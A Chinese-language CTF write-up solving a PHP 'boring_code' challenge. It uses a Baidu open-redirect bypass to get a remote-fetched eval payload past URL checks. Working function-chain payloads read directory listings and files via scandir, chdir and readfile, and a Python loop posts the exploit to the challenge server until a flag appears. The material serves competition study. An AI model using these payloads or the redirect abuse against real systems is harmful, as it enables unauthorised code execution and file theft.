白盒审计


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if(isset($_POST['url'])) {
$url = $_POST['url'];
if (is_valid_url($url)) {
print('$url: '.$url."\n");
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
print('$code: '.$code."\n");
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
} else {
highlight_file(__FILE__);
}

?>

主要两个bypass点

1. 绕过filter_var和parse_url

2. 令code在preg_match下进行文件读取


Bypass 0x01


对于如何绕过filter_var(), preg_match() 和 parse_url(),我找到师傅的一篇博客,但这篇博客是针对curl的,在这题貌似并不适用
而且对这篇的一个bypass手法我有些懵
利用0://evil.com:port;baidu.com:80这样的url(0为传输协议,非http,为了绕过filter_var())
curl解析到;停止,这样就访问了0://evil.com:port,但是非http协议的话,比如ftp,我们直接访问ftp://evil.com:port,貌似取不到文件里的内容(先留个坑)

但还有师傅的wp里说可以ftp协议绕过-.-

那么不选择氪金的话,我们就利用百度的跳转漏洞叭…

贴吧🏄‍

  1. 去贴吧随便找个小贴子,发表评论(评论内容是你要跳转的链接)
    发布后审查元素看到你发表的链接对应的href

  2. 将jump.bdimg.com改为post.baidu.com后得到的新链接即可直接跳转至你想要的站点

ok第一步bypass成功


Bypass 0x02


preg_match限制我们file_get_contents得到的内容只能是a(b(c(d())))这样的格式
(?R)指迭代若干次正则表达式整体

而且又有一串的黑名单过滤,所以基本放弃getshell,尝试文件读取
但由于刚刚说的正则匹配白名单,我们不能传入scandir(‘.’)这样的式子,但这个式子等价scandir(chr(46)),且phpversion()是个数字,我们可以通过一串数学函数把phpversion()转化成我们要的46

首先探测phpversion信息:

发现是5.*版本的php,那就从5/6出发去获得46

给出数学函数的fuzz脚本(这里利用迭代加深搜索

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
function math_fuzz($tmp, $goal, $depth = 0) {
$math_func = ['sin', 'cos', 'tan', 'asin', 'acos', 'atan', 'sqrt', 'ceil', 'floor','sinh','cosh','tanh'];
if($depth > 4) {
return [];
}
foreach($math_func as $func) {
if(ceil($func($tmp)) == $goal) {
$res = [];
array_push($res, 'ceil', $func);
return $res;
} elseif( floor($func($tmp)) == $goal) {
$res = [];
array_push($res, 'floor', $func);
return $res;
} else {
$res = [];
if(!empty($res = math_fuzz($func($tmp), $goal, $depth + 1))) {
array_push($res, $func);
return $res;
}
}
}
}
$orig = 5;
$goal = 46;
$res = math_fuzz($orig, $goal);
foreach($res as $func) {
print $func.'(';
}
print $orig;
for($i = 0; $i < count($res); $i++) {
print ')';
}
print ' = '.$goal."\n";
?>

fuzz结果如下图:

那么我们就能遍历目录下文件名了,但scandir的返回值是个数组类型,php里能输出数组的几个函数(如var_dump和print_r)在正则匹配白名单下均不可用,所以我们利用readfile+end来读取scandir返回数组的末尾元素里的内容(好像当时比赛有hint

那么我们就可以构造出如下payload(把跳转链接到的站点内容变为payload):

1
readfile(end(scandir(chr(ceil(sinh(cosh(tan(ceil(atan(floor(phpversion())))))))))));

发包结果

但这并不是真正的flag,所以还得继续(flag在父目录里噢
我们可以利用scandir(next(scandir(chr(46))))来遍历父目录下文件名,但父目录文件的readfile需要在文件名前加上../(这显然不好实现

所以我们选择的思路的先chdir切换当前工作目录,再进行文件读取
而chdir的返回值是个true(bool类型),那么我们就考虑将整个chdir作为time函数的参数

time函数浅析

翻手册我们发现time函数的声明是time(void),返回int,这个void就给了我们可以任意传值的机会(但可能会有warning,不管看不见

有了time函数,我们再来看看localtime函数,对于它的函数声明如下

localtime(time(true))就能返回一个数组,而这个数组的首位元素就是当前的秒数,那么我们就可以在当前秒数为46时成功再拿到一次chr(46)

ps:php里取首个元素的函数用pos和current都可(这里采用pos

给出最终payload:

1
readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(ceil(atan(floor(phpversion()))))))))))))))))));

再写个py脚本来连续发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import time
import re

url = 'http://47.100.93.189:2512/boring_code.php'
data = {'url': 'http://post.baidu.com/safecheck/index?url=x+Z5mMbGPAtT5bBkiEfIO4vDTfcsCssRh5DioYNT33UpgtTWaHrk8IT33QgV1hlBBTwtTfgUQIGUYYnYLaYspm/cr484U4pssMDF8z9+LzC+JwaIavihzSWyZP8Xm7Qhec/AZ+IFwcQwPGbuJnYGNA=='}
s = requests.session()
cur = 0
rec = 'Test[%2d]'
while(1):
cur += 1
r = s.post(url, data = data)
print(rec%cur)
for sub_r in re.findall(r"bytectf\{.*?\}", r.text):
print(sub_r)
exit('Got it!')
time.sleep(0.9)